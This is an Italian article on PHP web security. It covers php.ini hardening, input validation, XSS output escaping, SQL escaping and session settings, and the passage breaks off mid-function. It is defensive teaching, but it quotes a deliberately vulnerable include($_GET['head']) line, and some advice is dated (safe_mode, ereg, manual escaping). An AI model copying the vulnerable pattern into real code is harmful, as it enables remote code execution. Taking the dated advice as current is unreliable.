Home / Indice sezione
 www.icosaedro.it 

 PHP Security

Ultimo aggiornamento: 2018-06-03

L'articolo PHP Analisi Critica (www.icosaedro.it/articoli/php-analisi-critica) si concentrava sugli aspetti di safety, cioè sul come scrivere programmi privi di difetti logici. Questo articolo analizza invece la questione della security, cioè come scrivere programmi che resistono agli attacchi in un ambiente ostile come il WEB. Il PHP è abbastanza versatile da offrire al programmatore infiniti modi per spararsi nei piedi, per cui la security si esprime meglio in consigli sul "come fare" piuttosto che nel "come non fare". In questo senso questo articolo non ha ragione di esistere ma piuttosto ha lo scopo di mettere in guardia contro le trappole più comuni.

Indice

PHP è veramente poco sicuro?
Installazione e configurazione del php.ini
Validazione dell'input
Filtrare l'output
Uso dei database
Sessioni
Utenti, ruoli e permessi
Varie
Riferimenti
Argomenti correlati

PHP è veramente poco sicuro?

Recentemente (giugno 2006) c'è stato un dibattito su BUGTRAQ (la famosa mailing list dove vengono segnalati i problemi di sicurezza dei sistemi software) riguardante la sicurezza del PHP, sia come linguaggio, sia come sistema di sviluppo dei siti WEB attivi, sia più in generale sui prodotti sviluppati in PHP. Il titolo di questo thread è piuttosto significativo: "PHP security (or the lack thereof)". Sono emersi alcuni punti che mi sembrano interessanti.

Documentazione carente sugli aspetti della security. nabiy@hotmail.com osserva che il PHP viene presentato agli sviluppatori come strumento che "permette di sviluppare rapidamente i siti WEB dinamici" (www.php.net/manual/en/faq.general.php) e quindi un breve tutorial (www.php.net/manual/en/tutorial.php) dovrebbe bastare a preparare il programmatore ad affrontare l'ambiente ostile della rete. Ciò che invece spesso manca al neofita della programmazione WEB sono le basi della programmazione, le nozioni sui protocolli di rete e una seria introduzione alle tecniche di sicurezza, tutti argomenti sui quali la documentazione ufficiale del PHP è piuttosto carente. Il lettore si convince così che la programmazione WEB sia facile e si lancia allo sbaraglio producendo applicazioni piene di vulnerabilità delle quali non è consapevole. Invece, il manuale del linguaggio fa solo il suo mestiere: è il manuale del linguaggio e basta. La cultura della sicurezza va invece appresa altrove.

Applicativi WEB poco affidabili. Il successo del PHP come sistema rapido per lo sviluppo WEB si misura anche con la grande quantità di prodotti di terze parti disponibili in rete, spesso gratuitamente. Si tratta per lo più di sistemi per la gestione dei contenuti dei siti WEB, per la gestione di blog/forum/news/chat, e per il commercio elettronico. Questi pacchetti sono tanto curati nella presentazione grafica quanto lacunosi sugli aspetti della security. Ecco perché su prodotti come PhpBB, PHP-Nuke, Mambo e Joomla sono così frequenti le segnalazioni di vulnerabilità, ed ecco perché i soliti problemi di "SQL-injection", "cross-site scripting" e il famoso "register globals" si ripetono puntualmente. In definitiva, afferma ancora nabiy@hotmail.com, in questo caso non si tratta di un problema di documentazione, ma di un problema della comunità del PHP che non sembra in grado di selezionare ed emendare i suoi prodotti in modo da renderli più maturi e solidi sotto l'aspetto della security.

PHP paga il prezzo della sua stessa popolarità. Ronald Chmara osserva che oggigiorno ormai PHP si trova installato su una grande quantità di sistemi server WEB: il 43% dei server dichiarano di usare PHP, mentre solo il 3.7% dichiarano di usare una tecnologia basata su Java. Riguardo invece alle vulnerabilità che interessano i due sistemi e i prodotti sviluppati con essi, Ronald trova 1181 segnalazioni afferibili al PHP e solo 152 afferibili al secondo sistema; dobbiamo considerare anche il fatto che il sistema più diffuso diventa anche quello meglio conosciuto e quindi più attaccato, per cui Ronald suggerisce piuttosto di confrontare il rapporto tra la diffusione del sistema e il numero di vulnerabilità segnalate. Si scopre allora che i sistemi basati sul PHP risultano più solidi sotto il profilo della security, avendo un rapporto diffusione/vulnerabilità più elevato (0.036 contro 0.024). Ci dobbiamo consolare? Certo che no: evidentemente, conclude Ronald, il PHP è troppo facile da usare e quindi viene adottato da troppi sviluppatori senza esperienza che finiscono per produrre cattivo codice, cioè programmi funzionanti in condizioni normali, ma incapaci di resistere agli attacchi più banali. E qui la responsabilità di nuovo investe la comunità del PHP, che dovrebbe selezionare e poi sostenere solo i progetti che lo meritano. Insomma, ridurre la quantità per migliorare la qualità.

Il PHP è per piccoli progetti scritti in modo pasticciato da programmatori improvvisati. E' questo il modo sbrigativo con il quale i più liquidano la natura del PHP. Questa è una concezione che tente ad autoalimentarsi, complice il fatto che il PHP ha una bassa barriera di ingresso e quindi viene spesso adottato da neofiti per applicazioni di modesta complessità, mentre le applicazioni più avanzate rimangono appannaggio degli sviluppatori esperti che usano altri sistemi. Secondo me questa percezione del PHP è errata e deve cambiare, soprattutto nella mentalità di chi ne fa uso. Il fatto che il PHP abbia una bassa barriera di accesso è un merito, non un difetto. Nulla vieta di usare il PHP per applicazioni complesse e sofisticate, è una questione di metodo, non di strumento. Il PHP è "liberista", ma ciò non deve coincidere con il "pressapochismo": il programmatore non si deve accontentare di un programma che "funziona", deve pretendere che sia anche sicuro, ordinato e formalmente corretto, in una parola "maturo" per affrontare il WEB.

Fatte queste premesse politiche, passiamo agli aspetti più strettamente tecnici della security in ambito PHP.

Installazione e configurazione del php.ini

Aggiornare PHP all'ultima versione disponibile. La frequenza con la quale il PHP viene aggiornato è piuttosto elevata, diciamo che ogni due o tre settimane esce una nuova versione che corregge qualche vulnerabilità. Spesso le vulnerabilità in questione sono di poco conto perché si manifestano solo con particolari combinazioni di configurazioni e di codice. E' comunque sempre meglio rimanere aggiornati all'ultima versione di PHP disponibile. Notare che la versione 4 del PHP non viene più sviluppata, ma è ancora largamente utilizzata, per cui viene ancora aggiornata con regolarità anch'essa. Sono disponibili pacchetti precompilati del PHP, spesso molto comodi perché non richiedono la compilazione: in questo caso fare attenzione che la versione del PHP sia la più recente, in caso contrario procedere nel modo "normale".

In ambienti multi-utente usare la versione CGI con SUEXEC. I sistemi operativi multiutente permettono di disciplinare l'accesso alle risorse in base all'utente cui appartiene il processo in esecuzione. Anche l'interprete PHP è un processo, e quindi anche il PHP risente di questo meccanismo. Purtroppo spesso il server WEB viene configurato per l'uso "monoutente", cioè tutti i programmi WEB vengono eseguiti con la stessa identità e ogni processo ha gli stessi diritti. Questo apre numerose falle di sicurezza quando il sistema diventa multiutente. Apache, uno dei WEB server più utilizzati, ha una interessante funzionalità detta SUEXEC che permette di eseguire i programmi WEB con l'identità dell'utente a cui appartiene il file; questo però esige che il PHP venga utilizzato nella forma CGI. Nella sezione dedicata al WEB server Apache (www.icosaedro.it/apache) viene spiegato come configurare il SUEXEC e come compilare il PHP con il supporto CGI.

Non mettere l'interprete PHP CGI richiamabile dalla DocumentRoot. L'interprete PHP dovrebbe sempre stare in una directory distinta da quella del WEB server, in modo che non sia mai richiamabile direttamente dal WEB.

Nei server in condivisione, assicurarsi che sia abilitato il safe_mode nel php.ini. I server in condivisione ospitano decine o centinaia di siti WEB di altrettanti clienti. Per ragioni di efficienza non possono attivare il SUEXEC. Il ripiego è la modalità safe_mode del PHP, che tuttavia non dà garanzie assolute e impone alcune restrizioni all'uso del PHP. Vedere la descrizione del safe_mode nel manuale del PHP per maggiori dettagli. IMPORTANTE! La modalità safe_mode verrà eliminata in PHP 6 proprio perché non dava garanzie assolute, perciò è meglio cominciare a pensare a soluzioni alternative.

error_reporting = E_ALL | E_STRICT
Questa opzione del php.ini abilita la segnalazione di tutti i problemi che l'interprete incontra, incluse variabili usate ma non inizializzate. L'opzione E_STRICT è solo per PHP5.

display_errors = Off
display_startup_errors = Off
log_errors = On
warn_plus_overloading = On
E' bene salvare tutti gli errori nel log del server WEB. L'utente, invece, non dovrebbe mai ricevere i messaggi di errore perché rivelano troppe informazioni sul funzionamento del programma e facilitano l'attacco. Durante il debugging basta guardare il log con un comando come "tail -f /var/log/apache/error.log" che mostra gli errori man mano che vengono generati. Se non si ha accesso diretto al log non rimane che abilitare il display_errors, ricordando però di disattivarlo al termine della fase di debugging. Il file di log degli errori deve comunque essere esaminato con regolarità durante tutto il tempo di funzionamento dell'applicazione WEB.

register_globals = Off
Quando register_globals è attivo, il PHP istanzia delle variabili globali per ogni parametro della request HTTP; ogni variabile ha il nome del parametro stesso. Ad esempio, se l'utente invia la richiesta http://miosito/prova.php?i=3 il PHP assegna la variabile globale $i = "3";. E' vero che questo torna comodo, ma diventa pericoloso quando il programmatore sfrutta le variabili non inizializzate convinto che abbiano un valore default 0 oppure la stringa vuota. Questo, oltre ad essere una pessima pratica di programmazione, espone a un grave pericolo quando i register_globals sono abilitati. Disabilitare i register_globals è quindi sempre una buona idea. Praticamente ogni giorno vengono segnalati problemi di security in applicazioni che invece fanno uso di questa funzionalità, perciò partiamo con il piede giusto ed eliminiamo anche le applicazioni che ne fanno uso.

allow_url_fopen = Off
allow_url_include = Off (PHP 5.2 e seguenti)
Attivando queste direttive nel php.ini diventa possibile aprire degli URL generici come se fossero dei semplici file locali del server. Comodo e potente in certi casi, ma potrebbe comportare dei rischi per la sicurezza se questo URL viene composto con dati provenienti dal client. Ad esempio, include($_GET['head']); permette all'attaccante di eseguire un programma arbitrario sul server, e quindi gli permette di leggere tutti i sorgenti PHP, accede al DB, ecc. Di solito i programmi non necessitano di queste funzionalità, meglio disabilitarle e, se serve, usare l'estensione curl.

Validazione dell'input

Tutto quello che proviene dal browser potrebbe essere artefatto. I parametri vengono inviati dal browser al programma sul server via richiesta GET o via richiesta POST. In entrambi i casi i valori ritornati possono essere del tutto arbitrari:

Nella pratica dobbiamo pensare che il contenuto degli array $_GET[] e $_POST[] sia del tutto arbitrario. Per meglio chiarire il contenuto di questi array, esploriamo la casistica. Nei prossimi esempi supporremo che il programma sul server sia in attesa di un certo parametro n di tipo numerico, oppure di un parametro s di tipo stringa e vediamo come PHP istanzia l'array $_GET[] quando la pagina viene richiamata con vari URL e diverse combinazioni dei parametri della query:

http://miosito/prova.php

Nessun parametro di query. Siccome il parametro 'n' manca, l'espressione $_GET['n'] produce il messaggio di errore PHP Notice: Undefined index: n in /path/miosito/prova.php on line 7. Se il parametro è obbligatorio questo messaggio è opportuno e ci mette in guardia che qualcuno sta attentando al nostro programma.

Il fatto curioso è che se assegnamo il valore di $_GET['n'] a una variabile direttamente, questa prende il valore NULL. In generale il valore NULL viene elaborato come se fosse una stringa vuota "", ma affidarsi al caso non è buona cosa. Per evitare inconvenienti, meglio eseguire il cast con (int), che trasformerà il NULL in 0 (zero). In definitiva, ecco il codice da usare quando il parametro è obbligatorio:

$n = (int) $_GET['n'];

In questo caso se il parametro della query manca viene generato il messaggio di errore come prima (che ci avverte che sta succedendo qualcosa di strano), però la variabile $n viene istanziata al valore 0 (così proteggendo la nostra applicazione).

Se invece il parametro è opzionale dovremo verificare esplicitamente se il parametro esiste ed eventualmente usare un valore default quando manca. In definitiva, questo è il codice da usare quando il parametro è opzionale:

if( isset($_GET['n']) )
    $n = (int) $_GET['n'];
else
    $n = 0; # oppure altro valore default
http://miosito/prova.php?n=123
Parametro di query "verosimile", anche se non è detto che il valore "123" sia poi lecito. In questo caso $_GET['n'] è la stringa "123". Notare che si tratta proprio di una stringa, non di un numero intero. Negli esempi di prima il typecast (int) assicura che la variabile $n sia effettivamente un numero intero.
http://miosito/prova.php?n[]=1&n[]=2&n[]=3
Quando il nome dei parametri della query contiene le parentesi quadrate, il PHP costruisce un array. In questo caso $_GET['n'] è l'array di stringhe array("1", "2", "3"). Nel nostro caso il parametro n è atteso essere un numero intero: il typecast (int) convertirà l'array nel numero 0 (zero).
http://miosito/prova.php?n[]=1&n[]=2&n[][]=3&n[][][]=4
Il PHP permette anche di costruire array di array. In questo caso $_GET['n'] è un array di stringhe frastagliato array("1", "2", array("3"), array( array("4") ) ). Notare che i primi due elementi dell'array sono stringhe, il terzo è un array di una stringa, e il quarto è un array di un array di una stringa.
http://miosito/prova.php?x[3]=a&x[zero]=b&x[0]=c
Il PHP permette anche di specificare l'indice degli elementi dell'array, sicchè non è prevedibile l'indice degli elementi né il loro ordinamento. In questo esempio "patologico" il parametro x viene inviato come un array i cui indici sono in un ordine arbitrario e uno degli indici è una stringa. Come risultato di questa interrogazione il valore di $_GET['x'] sarà array(3=>"a", "zero"=>"b", 0=>"c") . Ne consegue che se siamo realmente in attesa di un array dovremo esplorarne gli elementi usando un ciclo foreach() e non un ciclo for(). E' questo il caso dei menu a tendina a selezione multipla, dove dovremo fare attenzione anche ai possibili valori artefatti e duplicati.

Tutte queste considerazioni si ripetono invariate per l'array $_POST[]. Vediamo un breve decalogo per la validazione dell'input nei casi più comuni.

Numeri interi. Eseguire un typecast a numero intero e poi controllare che il range sia quello previsto. Ad esempio:

if( isset($_GET['n']) ){
    $n = (int) $_GET['n'];
    if( $n < N_MIN )
        $n = N_MIN;
    else if( $n > N_MAX )
        $n = N_MAX;
} else {
    $n = N_DEF;
}

Il PHP consente di mescolare variabili di tipi diversi dentro alle espressioni, e converte automaticamente il tipo di una variabile nel tipo atteso. La conversione avviene ogni volta che la variabile viene usata, con evidente spreco di tempo. Eseguire il typecast a intero non solo semplifica il controllo, ma rende anche più veloce il programma.

Notare che il type-cast (int) forza la stringa $_GET['n'] ad essere interpretata come numero intero. Se la stringa non è un numero intero, oppure è un numero intero troppo lungo per essere rappresentato dal tipo int, il risultato sarà un valore intero imprevedibile. Siccome i parametri GET sono stati impostati nell'URL dal nostro stesso programma, si suppone che il range sia valido, e comunque il controllo che facciamo ci salva da input malevoli. Se invece il parametro proviene da un FORM, allora è possibile che il numero introdotto dall'utente sia effettivamente troppo grande. In questo caso bisogna prima validare la stringa introdotta con una espressione regolare. Ad esempio, in questo esempio ammettiamo numeri interi con segno lunghi fino a 9 cifre, che sta dentro a un int a 32 bit:

if( ! isset( $_POST['n'] ) ){
    echo "Campo numerico non compilato.";
    exit;
} else {
    $n_s = trim( (string) $_POST['n'] );
    if( preg_match("/^[-+]?[0-9]{1,9}\$/D", $n_s) !== 1 ){
        echo "Numero $n_s non valido o troppo lungo.";
        exit;
    } else {
        $n = (int) $n_s;
    }
}

Stringhe. Applicare il typecast (string), verificare la lunghezza massima, eliminare i codici ASCII di controllo e verificare l'encoding.

Nel caso dei campi di input multi-linea <TEXTAREA> l'a-capo viene indicato dalla sequenza di caratteri di controllo "\r\n" in questo ordine. Singoli caratteri "\r" oppure "\n" non sarebbero validi. Scegliere la codifica adatta al proprio sistema e assicurare che venga rispettata. Ad esempio, nei sistemi Unix e similari l'a-capo è indicato dal solo carattere "\n", per cui potremmo semplicemente eliminare "\r". Anche il carattere di tabulazione "\t" potrebbe comparire come risultato del copia-incolla, per cui anche questo dovrebbe essere conservato. Nessun altro codice di controllo è valido.

Supponiamo ad esempio che il FORM di una pagina HTML codificata UTF-8 abbia un campo di testo a linea singola con un attributo maxlength=50 che fissa la lunghezza massima come numero di caratteri UTF-8. Ecco il codice per l'acquisizione della stringa; supponiamo che il valore default nel caso il parametro manchi sia la stringa vuota:

$s = (string) $_POST['s'];
# Rimuovi codici ASCII 0-31,127:
$s = preg_replace("/[\\000-\\037\\177]/", "", $s);
# Forza codifica UTF-8 (ma vedi anche la nota sotto):
$s = mb_convert_encoding($s, 'UTF-8', 'UTF-8');
# Impone lunghezza massima per VARCHAR(50):
if( mb_strlen($s, 'UTF-8') > 50 )
	$s = mb_strcut($s, 0, 50, 'UTF-8');

In questo esempio il database prevede un campo stringa VARCHAR(50) in codifica UTF-8. Notare che il DB deve essere a conoscenza che questa stringa è effettivamente UTF-8, infatti l'UTF-8 può usare fino a 6 byte per ogni carattere, per cui la lunghezza della stringa potrebbe arrivare anche a 6*50 byte.


Attenzione alla codifica UTF-8. Nell'esempio di prima usavamo mb_convert_encoding() per assicurare che la stringa fosse correttamente codificata, ma in certi casi questo non è sufficiente. Alcuni sistemi, per esempio i data base PostgreSQL e MySQL, supportano solo il sotto-insieme BMP dell'Unicode, per cui le codifiche UTF-8 a 4, 5 e 6 byte non sono valide, e certi range di valori non sono validi. Sequenze UTF-8 non valide possono causare errori, anomalie o compromettere la sicurezza per via dell'SQL injection. L'articolo PHP e caratteri esotici affronta questo problema e propone una soluzione per validare le stringhe UTF-8 conformi al BMP.


Menu a tendina a scelta multipla. In questo esempio il programma si aspetta che il parametro di query HTTP di nome menu contenga zero o più numeri interi. Lo scopo del codice seguente è quello di istanziare l'array $menu con tali valori:

$menu = /*. (array[int]int) .*/ array();
if( isset($_POST['menu']) and is_array($_POST['menu']) ){
    foreach( /*. (array[]mixed) .*/ $_POST['menu'] as $v ){
        $i = (int) $v;
        if( array_search($i, $menu) === FALSE )
            $menu[] = $i;
    }
}

Questo codice assicura che $menu contenga zero o più numeri interi non duplicati in un array di indici interi che partono da zero, ma non garantisce che questi numeri corrispondano a quelli a suo tempo inseriti nelle opzioni del menu a tendina. Per assicurare questo fatto occorrono altri controlli dipendenti dall'applicazione specifica.

Numeri a virgola mobile. E' raro che un'applicazione WEB richieda l'uso di numeri a virgola mobile, perché questo tipo di numeri è adatto ai calcoli tecnici e scientifici che raramente sono coinvolti nelle applicazioni WEB. Anche qui vale il suggerimento di convertire il valore con un typecast (float). Per gli importi monetari non usare il tipo float; vedi la voce seguente per i dettagli.

Date e importi monetari. Ad esempio "12/03/2006" oppure "1'234,50 Eur" sono degli input che potremmo dover interpretare in qualche modo. Siccome il PHP non ha dei tipi adatti per rappresentare questi dati, dovremo tenerli come stringhe. Eseguire il solito typecast a (string), rimuovere i caratteri ASCII di controllo e validare con una espressione regolare con ereg() o preg_match(). NOTA: la documentazione ufficiale avverte di non usare ereg() perché non è "binary safe", cioè perché considera la stringa terminata quando compare il byte zero "\000"; nel nostro caso il problema non esiste, dato che abbiamo già rimosso i caratteri di controllo. Per quanto riguarda gli importi monetari, vedi anche Calcoli monetari con numeri frazionari in PHP.

Convertire sempre l'input dell'utente nel tipo di dato adatto. I numeri devono essere numeri, e le stringhe devono essere stringhe.

Campi hidden. Sono falsificabili dal client, mancare del tutto o essere arbitrariamente lunghi. Quindi, anche se il valore dei campi nascosti è stato generato dal nostro stesso programma, non si può fare alcun affidamento che il loro valore corrisponda a quello a suo tempo generato. Soluzioni: 1) verificare che il valore ritornato sia lecito eseguendo le solite procedure di verifica e sanificazione che abbiamo già visto per i numeri, le stringhe, ecc.; 2) corredare il valore con un codice di controllo HMAC (hashed message authentication code); 3) rinunciare all'uso dei campi hidden e salvare le informazioni sul server, nella sessione dell'utente.

Bisogna inoltre ricordare che i campi hidden pervenuti, anche se superano tutti i controlli, potrebbero riferirsi ad uno stato del sistema che non è più valido, per cui ci vuole anche un controllo sul contesto. Per esempio, il browser potrebbe rispedire indietro dei valori che erano validi tempo prima, ma che non lo sono più al momento del submit.

Diffidare degli operatori di uguaglianza debole quando si confrontano stringhe. Gli operatori di confronto == <= >= e != sono deboli nel senso che il PHP esegue delle conversioni automatiche a numero quando almeno uno degli operandi inizia con una cifra oppure con +/− e una cifra (e chissà quanti altri casi se consideriamo anche i numeri a virgola mobile). Usare invece gli operatori di uguaglianza stretta === e !== e la funzione strcmp() negli altri casi.

L'istruzione switch() fa il confronto con l'operatore di uguaglianza debole. Ne risulta che valori che "assomigliano" a numeri vengono confrontati come tali invece che come stringhe. Inoltre l'ordine dei rami case è determinante. Ad esempio, tentare di prevedere l'output di questo codice e poi confrontarlo con l'output effettivo:

function f($x)
{
    switch( $x ){
    case "0": echo 1; break;
    case   0: echo 2; break;
    case "a": echo 3; break;
    default : echo "default";
    }
}

# Esercitiamo tutti i rami "case":
f(0);
f("0");
f("a");

La risposta è un piuttosto sorprendente 112. In pratica lo switch() fornisce un comportamento "deterministico" solo quando il selettore e i valori dei casi sono numeri interi.

Ma di più: le etichetta dei rami case possono essere espressioni generiche che vengono calcolate ogni volta che l'istruzione switch viene eseguita, generando situazioni ancora più imprevedibili. Siccome a vivere pericolosamente non si vede la vecchiaia, meglio evitare di coinvolgere l'input dell'utente in uno switch(). Usare piuttosto una catena di if()... else if()... else... con === per i confronti:

$action = (string) $_GET['action'];
if( $action === '1' || $action === '2' )
    doAction( (int) $action );
else if( $action === 'none' )
    doAction(0);
else
    trigger_error("invalid action parameter `$action'", E_USER_WARNING);

Filtrare l'output

Le stringhe fornite dal client devono sempre essere filtrate come HTML prima di essere reinviate al client. In altri termini, se $s è una stringa non bisogna mai inviarla direttamente al client perché i caratteri speciali < e & potrebbero confondere il client o diventare veicolo di ben più gravi attacchi, come la famosa falla del cross-site scripting nota con la sigla XSS. Ci sono due modi per codificare in HTML una stringa generica, quello da usare in mezzo al codice PHP:

echo htmlspecialchars($s);
oppure quello da usare in mezzo al codice HTML:
<?= htmlspecialchars($s) ?>

La funzione htmlspecialchars() converte tutti i caratteri speciali dell'HTML in entità HTML, in modo che l'aspetto della stringa visualizzata sullo schermo corrisponda letteralmente alla stringa originaria.

A volte si ha la necessità di costruire la pagina HTML usando spezzoni di testo proveniente dal data base che sono essi stessi codice HTML. E' questo il caso dei forum e dello spazio news di molti siti, dove è desiderabile avere un minimo di formattazione per rendere il testo gradevole (spaziature, grassetto, tabelle, ecc.). Esistono addirittura delle interfacce scritte in JavaScript che consentono di editare il testo via browser proprio come se fosse un normale word processor. Dal punto di vista della sicurezza si tratta di strumenti molto pericolosi. Le soluzioni che mi vengono in mente sono due:

Non usare la funzione strip_tags(). Alcuni usano questa funzione nel tentativo di eliminare i tag HTML, lasciando solo quelli stabiliti da una white-list. Purtroppo questo non esclude che i tag lasciati contengano attributi malevoli, e neppure assicura che il testo risultante sia un brano di codice HTML valido.

Anche gli attributi dei tag vanno codificati opportunamente quando si tratta di testo determinato dinamicamente. Io trovo comodo usare questa funzioncina, a cui segue lo spezzone di codice che ne illustra l'uso per comporre il campo di input di un FORM:

/*.string.*/ function textToAttribute(/*.string.*/ $a)
{
    return "\"" . htmlspecialchars($a) . "\"";
}

echo "<input type=text name=nome value=",
    textToAttribute($nome),
    "size=50 maxlength=50>";

Ricorda: anche i tag TEXTAREA dei FORM vanno codificati HTML:

echo "<TEXTAREA name=body cols=70 rows=10>\n",
     htmlspecialchars($body), "</TEXTAREA>";

Ricorda: per il debugging dei programmi si usa spesso var_dump($v); oppure var_export($v,TRUE) per stampare il valore di una variabile, anche se questa è un array o un oggetto. Ad esempio, io spesso stampo tutto $_POST[] quando ho dei problemi con i FORM. Per un debugging fatto "al volo" non c'è problema, ma se la cosa rimane presente stabilmente nel programma, ricordare di eseguire la codifica in HTML:

POST=<PRE><?= htmlspecialchars( var_export($_POST, TRUE) ) ?></PRE>

Uso dei database

Il famoso problema dell'SQL-injection è dovuto ai campi del FORM non validati oppure non sottoposti al filtro di escaping dei caratteri speciali. In questo caso l'attaccante può inviare al nostro database dei comandi arbitrari, con le conseguenze immaginabili. Questo paragrafo l'ho copiato direttamente dal sito PHP:


SQL escaping. Quote each non numeric user supplied value that is passed to the database with the database-specific string escape function (e.g. mysql_escape_string(), pg_escape_string(), sql_escape_string(), etc.). If a database-specific string escape mechanism is not available, the addslashes() and str_replace() functions may be useful (depending on database type).


Come esempio pratico, la funzione che segue prende il nome dell'autore e il titolo di un libro da un FORM HTML, costruisce dinamicamente l'interrogazione SQL, e quindi mostra la tabella dei libri che risultano corrispondere. Il database in questione è PostgreSQL, ma le cose vanno nello stesso modo per qualsiasi altro DB.

function search_book()
{
    $author = (string) $_POST["author"];
    $title  = (string) $_POST["title"];

    # Build the SQL query:
    # --------------------
    $where = /*. (array[int]string) .*/ array();
    if( strlen($author) > 0 )
        $where[] = "author ILIKE '%" . pg_escape_string($author) . "%'";
    if( strlen($title) > 0 )
        $where[] = "title ILIKE '%" . pg_escape_string($title) . "%'";
    if( count($where) == 0 )
        return; # empty FORM
    $q = "SELECT * FROM books WHERE " . implode(" AND ", $where)
        . " LIMIT 100";

    # Send query to the DB:
    # ---------------------
    $db = @pg_connect("dbname=booksdb");
    if( $db === FALSE ){
        trigger_error("pg_connect(dbname=booksdb): failed", E_USER_WARNING);
        echo "<p><b>Internal error.</b>";
        return;
    }
    $res = @pg_query($db, $q);
    if( $res === FALSE ){
        trigger_error("pg_query($q): " . pg_last_error($db), E_USER_WARNING);
        echo "<p><b>Internal error.</b>";
        return;
    }
    pg_close($db);

    # Display results:
    # ----------------
    $n = pg_num_rows($res);
    echo "<p><b>Found $n books:</b></p>";
    for( $i=0; $i < $n; $i++ ){
        $row = pg_fetch_array($res, $i, PGSQL_ASSOC);
        echo "<p><i>", htmlspecialchars($row['author']), "</i> <b>",
            htmlspecialchars($row['title']), "</b></p>\n";
    }
}

Sessioni

L'argomento delle sessioni è piuttosto articolato e complesso. Qui daremo solo alcuni suggerimenti, lasciando al lettore il compito di approfondire le varie questioni e sviluppare il proprio codice.

Configurare php.ini. Vediamo i parametri che riguardano la sicurezza. La motivazione di certe scelte viene meglio spiegata dalla discussione che segue questo elenco.

session.save_path = "/dir/delle/sessioni"
La directory dove le sessioni vengono salvate. Il nome dei file ha la forma sess_SID dove SID è il valore del cookie. Un file di sessione contiene i valori della variabile superglobale $_SESSION[]. Se il contenuto di questa directory è leggibile da altri utenti, chiunque può "rubare" le sessioni degli altri e introdursi nel sistema.

session.auto_start = Off
Come vedremo, meglio preservare l'entropia del generatore di cookie e generare nuovi cookie solo quando serve, cioè dopo un login avvenuto con successo.

session.gc_probability = 3
session.gc_divisor = 100

La funzione session_start() svolge due compiti: prima crea o rinnova la sessione indicata dal client nel cookie ricevuto; poi attiva il garbage collector delle sessioni (GC) che cancella i file di sessione scaduti. Per motivi di prestazioni, il GC non viene richiamato sempre, ma solo con probabilità data dal rapporto gc_probability/gc_divisor, nel nostro esempio 3%.

session.gc_maxlifetime = 14400
Se un file di sessione non viene usato per oltre 14400 secondi (4 ore) il GC lo considera scaduto e lo cancella. In pratica, l'utente si è allontanato dalla postazione di lavoro senza terminare la sessione in modo regolare. Più la sicurezza è critica, minore deve essere questo valore.

session.cookie_lifetime = 0
Valore che raccomanda al browser di cancellare il cookie di sessione se la finestra del browser viene chiusa. Un valore positivo dice invece al browser dopo quanti secondi eliminare il cookie; questo valore deve essere minore di gc_maxlifetime.

session.entropy_file = /dev/urandom
La sorgente di entropia usata per generare il valore dei cookie di sessione. Se l'entropia del sistema non basta, viene attivato il generatore di numeri pseudo-casuali, meno sicuri crittograficamente. Per la massima sicurezza usare /dev/random, che però è bloccante (se non c'è abbastanza entropia, l'utente si ritrova bloccato alla convalida del login). In generale urandom è adatto purché si segua uno schema di risparmio dell'entropia come viene proposto nel seguito.

session.use_cookies = On
session.use_only_cookies = On
session.use_trans_sid = Off

Il valore della sessione deve sempre stare in un cookie, che non viene mai mostrato nelle pagine e nelle ancore e quindi non "scappa" accidentalmente all'esterno, magari attraverso un copia/incolla incauto dell'utente.

session.cookie_secure = On
Il cookie viene inviato solo se la connessione è del tipo HTTPS.

session.cookie_httponly = Boolean
Non ho capito cosa fa. Vedi un po' tu.

session.cache_limiter = none
Qui scegliere lo schema di caching delle pagine nel client e nei proxy. "none" vuol dire che dovremo mettere la direttiva Cache-Control esplicitamente nelle pagine che trattano dati riservati, in modo che non vengano messe nella cache. Oltre a "Cache-Control: no-cache" i paranoici potrebbero aggiungere un ", no-store".

Usare il protocollo crittato HTTPS. Il valore del cookie di sessione viaggia in chiaro a livello del protocollo HTTP e pertanto può essere carpito da un intruso che intercetta il traffico tra client e server. Se il meccanismo della sessione viene usato solo per mantenere lo stato interno dell'applicazione WEB, nessun problema. Se invece la sessione ha lo scopo di fornire servizi riservati all'utente registrato, o comunque l'applicazione consente di accedere a funzionalità o a informazioni riservate, allora bisogna usare il protocollo crittato HTTPS e disattivare l'accesso HTTP all'applicazione WEB. Attivare HTTPS riguarda la configurazione del server WEB, e non comporta alcun cambiamento a livello del PHP.

Salvare le sessioni in ambiente multiutente. I dati della sessione sono salvati su file in una directory temporanea. Questa directory generalmente è accessibile a tutti gli utenti del sistema. Questo significa che qualsisi programmatore degli altri sistemi WEB può accedere come utente registrato ai nostri programmi. Soluzione: usare la modalità safe_mode in php.ini, oppure il meccanismo SUEXEC ponendo i file di sessione in una directory separata accessibile solo a noi e fuori dal DocumentRoot. Nel libro "PHP Programming" citato nella bibliografia viene suggerito di salvare le sessioni nel DB e viene anche proposto il codice necessario.

Preservare l'entropia del generatore di sessioni. E' pratica comune chiamare la funzione session_start() all'inizio di ogni pagina che richiede una sessione. Purtroppo questa funzione ha in realtà due funzioni: crea la sessione se non esiste (questo serve solo all'atto del login), e rinnova la scadenza della sessione se esiste (ed è solo questo che ci serve nelle pagine interne del sito). Un attaccante malevolo potrebbe richiamare ciclicamente una qualsiasi pagina del sito costringendo il server a generare innumerevoli sessioni diverse. Questo potrebbe svuotare la riserva di entropia del generatore di numeri casuali del server, e costringere il server a ricorrere al generatore di numeri pseudo-casuali, meno sicuri dal punto di vista crittografico. Il programmatore paranoico dovrebbe invece generare la sessione solo quando necessario, e cioè: 1) creare una nuova sessione solo dopo che l'utente ha superato il login; 2) nelle altre pagine del sito, rinnovare una sessione esistente solo se la sessione è effettivamente esistente, altrimenti rimandare alla pagina di login. Notare che una sessione esiste solo se il client invia un cookie di sessione *e* esiste il file di sessione corrispondente. Purtroppo il PHP non fornisce una funzione per determinare se il cookie restituito dal browser corrisponde a un file di sessione esistente sul server, per cui questa funzione ce la dovremo scrivere da noi. Ecco il sostituto di session_start():


/*. boolean .*/ function session_exists()
/*.
    DOC Returns TRUE if a client session exists.

    A session exists if the client returned a valid cookie and the
    corresponding session file exists. In this case, renew the cookie
    and restore $_SESSION[].
    If the session does not exist, returns FALSE.

    You may think at this function as an alternative to session_start(),
    with the only difference that if the cookie returned by the client
    is not a valid session, or the client does not returned a cookie at
    all, no new session is created so preserving the entropy.
.*/
{
    $sn = session_name();
    if( ! isset( $_COOKIE[$sn] ) )
        # No cookie from client.
        return FALSE;
    $sv = (string) $_COOKIE[$sn];
    if( preg_match('/^[-,a-zA-Z0-9]+$/D', $sv) !== 1 )
        # Not a valid cookie syntax.
        return FALSE;
    $sf = session_save_path() ."/sess_". $sv;
    if( ! file_exists($sf) )
